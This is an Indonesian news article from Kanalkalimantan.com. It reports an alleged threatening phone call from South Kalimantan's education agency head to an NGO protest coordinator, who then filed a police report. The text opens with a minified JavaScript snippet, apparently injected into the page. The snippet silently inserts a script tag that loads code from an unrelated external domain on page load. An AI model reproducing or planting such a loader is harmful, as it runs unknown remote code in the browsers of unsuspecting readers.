(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Sebuah rekaman suara sambungan telepon yang diduga terhubung langsung dengan Kepala Dinas Pendidikan dan Kebudayaan (Kadisdikbud) Kalimantan Selatan (Kalsel) Muhammadun beredar melalui pesan Whatsapp, Selasa (10/9/2024) siang.
Rekaman suara berdurasi 2 menit 18 detik itu nampak diteruskan berkali-kali. Suara yang keluar dari rekaman itu diduga merupakan suara Muhammadun yang menelpon Aliansyah selaku Ketua Lembaga Swadaya Masyarakat (LSM) Barisan Anak Bangsa Anti Kecurangan (BABAK) Kalsel.
Terdengar dengan jelas bahwa suara yang mengaku sebagai Madun itu, mengeluarkan kalimat intimidasi kepada Aliansyah, koordinator demontrasi di kantor gubernur Kalsel bersama Amalia Wahyuni, guru SMK yang viral gegara menegur Kadisdikbud Kalsel.
Dalam rekaman terdengar kalimat diantaranya, “Ikam (Kamu, red) ini, handak (Mau, red) ku tawarkan di mana, ikam bawa parang aku bawa parang, ikam nimpas (Membacok, red) ku dulu habis itu baru aku nimpas (Membacok, red) ikam,” ujar suara yang mengaku dirinya Madun itu.
Baca juga: Bawaslu Kalsel Ajak Gen Z Awasi Pilkada 2024
Sementara dalam rekaman itu pula Aliansyah terdengar dibuat bingung dengan kalimat yang dilontarkan Madun dengan nada menantang itu.
Tak berhenti sampai di situ, Aliansyah juga terdengar dibentak Madun yang mengajak untuk bertemu, dengan kalimat. “Ayo kita ketemu di mana ikam, di hutan kah, di mana kah, di laut kah apa,” ancamnya.
Kemudian ada pula kalimat, “Ikam laki-laki kah kada sekarang, mau ikam apa,” ucap lelaki mengaku Madun itu.
Karena merasa dirinya terancam, sehari usai Aliansyah menerima sambungan telepon itu, Selasa (10/9/2024) siang, Aliansyah langsung melaporkan dugaan tindakan pengancaman yang dilakukan Muhammadun ke Ditkrimum Polda Kalsel di Banjarmasin.
Baca juga: Hari Pertama Kerja Anggota DPRD Banjarmasin Langsung Didemo Mahasiswa
“Maksud kami menyampaikan laporan dugaan ancaman, namun bukan dugaan lagi, tapi sudah ancaman yang setelah kita demo itu luar biasa ancamannya,” ujar Aliansyah saat mendatangi Ditkrimum Polda Kalsel di Banjarmasin.
“Sampai kemarin ada seseorang yang mengaku Madun Kadisdikbud mengancam kita membawai betimpas (Saling bacok, red),” sambungnya.
Dirinya datang ke Ditkrimum Polda Kalsel bersama dengan kuasa hukum, Budi Khairiansyah, dengan membawa bukti rekaman suara telpon tersebut.
“Sejak demo hari Jumat itu sejumlah ancaman muncul, hingga puncaknya ancaman dilakukan pada hari Senin (9/9/2024) sekitar pukul 13.50 Wita,” ujar Budi Khairiansyah, kuasa hukum Aliansyah.
Pengacara menjelaskan, kejadian bermula saat di mana ada sebuah nomor tak bernama yang usai menelpon 7 kali, kemudian memberikan pesan singkat di Whatsapp bertulis, “Pak Madun ingin bicara tolong diangkat,”.
Baca juga: Warga Berterimakasih kepada Bupati Saidi Mansyur, Jalan Handil Jawa – Jambu Burung Mulus Lagi
Kemudian katanya kliennya menerima telepon dari nomor tersebut dan terjadilah komunikasi yang dianggap kurang mengenakkan.
“Bahkan ada kata-kata provokasi mengarah kepada tindakan kriminal, yaitu contohnya bahasanya sepert ini, kita sama-sama lelaki apakah saudara Aliansyah yang duluan menimpas atau kita yang duluan menimpas saudara Aliansyah,” kata Budi Khairiansyah menirukan.
Selain bermodal rekaman suara pihaknya juga menyampaikan laporan dugaan tindak pidana pengancaman tersebut dengan bukti yang memperlihatkan bahwa nomor yang digunakan oleh seorang yang mengaku Madun tersebut adalah nomor dari ajudan Muhammadun itu sendiri.
“Setelah kami cek nomor tersebut ternyata nomor telepon tersebut bernama Sirajuddin atau ajudan dari Madun sendiri,” sebut dia.
Hal itu dibuktikan saat pihaknya melacak nomor tersebut di-aplikasi get contact, dimana sejumlah nama yang tersimpan untuk nomor tersebut bertuliskan ajudan Kadisdikbud Kalsel atau ajudan Madun.
“Artinya bisa dipertanggungjawabkan, bahkan sudah kita screenshoot nama-nama yang orang cantumkan ke nomor tersebut, karena itu kita berani langsung menyimpulkan itu benar Madun karena nomor yang digunakan adalah nomor ajudannya,” jelas dia.
Baca juga: Kanwil Kemenkumham Kalsel-Dispersip Kalsel Kerjasama Akses Informasi Hukum dan Literasi
Di sisi lain, pihaknya juga sudah mencoba menanyakan ke beberapa orang terkait kemiripan suara dalam sambungan telepon itu dengan suara asli Muhammadun.
“Beberapa orang sudah kita tanyakan dan rata-rata mengatakan bahwa itu memang suara Madun, namun terlepas itu suara Madun atau tidak yang jelas itu nomor ajudannya,” ungkap kuasa hukum.
Kalimat yang dilontarkan Madun itu pun dianggap sudah mengarah pada pengancaman. Dirinya sangat menyayangkan tindakan yang dilakukan oleh Kadisdikbud Kalsel ini, karena langsung menyimpulkan seolah-olah Aliansyah lah yang menjadi pelaku.
“Kita juga berpendapat tidak lagi dugaan melainkan benar saudara Madun yang melakukan pengancaman. Padahal kita pada kasus ibu Amalia ini sampai pada media pun ikut mengawal, tidak hanya sekadar Aliansyah, sedangkan ini saudara Aliansyah tidak kenal Madun atau bahkan sebaliknya,” tegas dia.
Komunikasi awal yang sudah dianggap mengarah kepada kepada tawaran perkelahian itu dinilai sangat tidak elok dilakukan oleh seorang kepala dinas. (Kanalkalimantan.com/wanda)
Reporter: wanda
Editor: bie
KANALKALIMANTAN.COM, AMUNTAI - Badan Pembinaan Olahraga (Bapor) Korps Pegawai Republik Indonesia (Korpri) Kabupaten Hulu Sungai… Read More
KANALKALIMANTAN.COM, JAKARTA - Seorang warga banua yang kini berkiprah di Jakarta, Muhammad Fremmuzar Aditya Putra… Read More
KANALKALIMANTAN.COM, BANJARBARU - Di akhir masa tugas yang diemban, Penjabat Sementara (Pjs) Wali Kota Banjarbaru… Read More
KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) menyinggung peluang menjemput paksa mantan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Sembilan partai politik (Parpol) pemegang kursi Dewan Perwakilan Rakyat Daerah (DPRD) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pasangan Calon Bupati dan Calon Wakil Bupati Banjar nomor urut 01, H… Read More
This website uses cookies.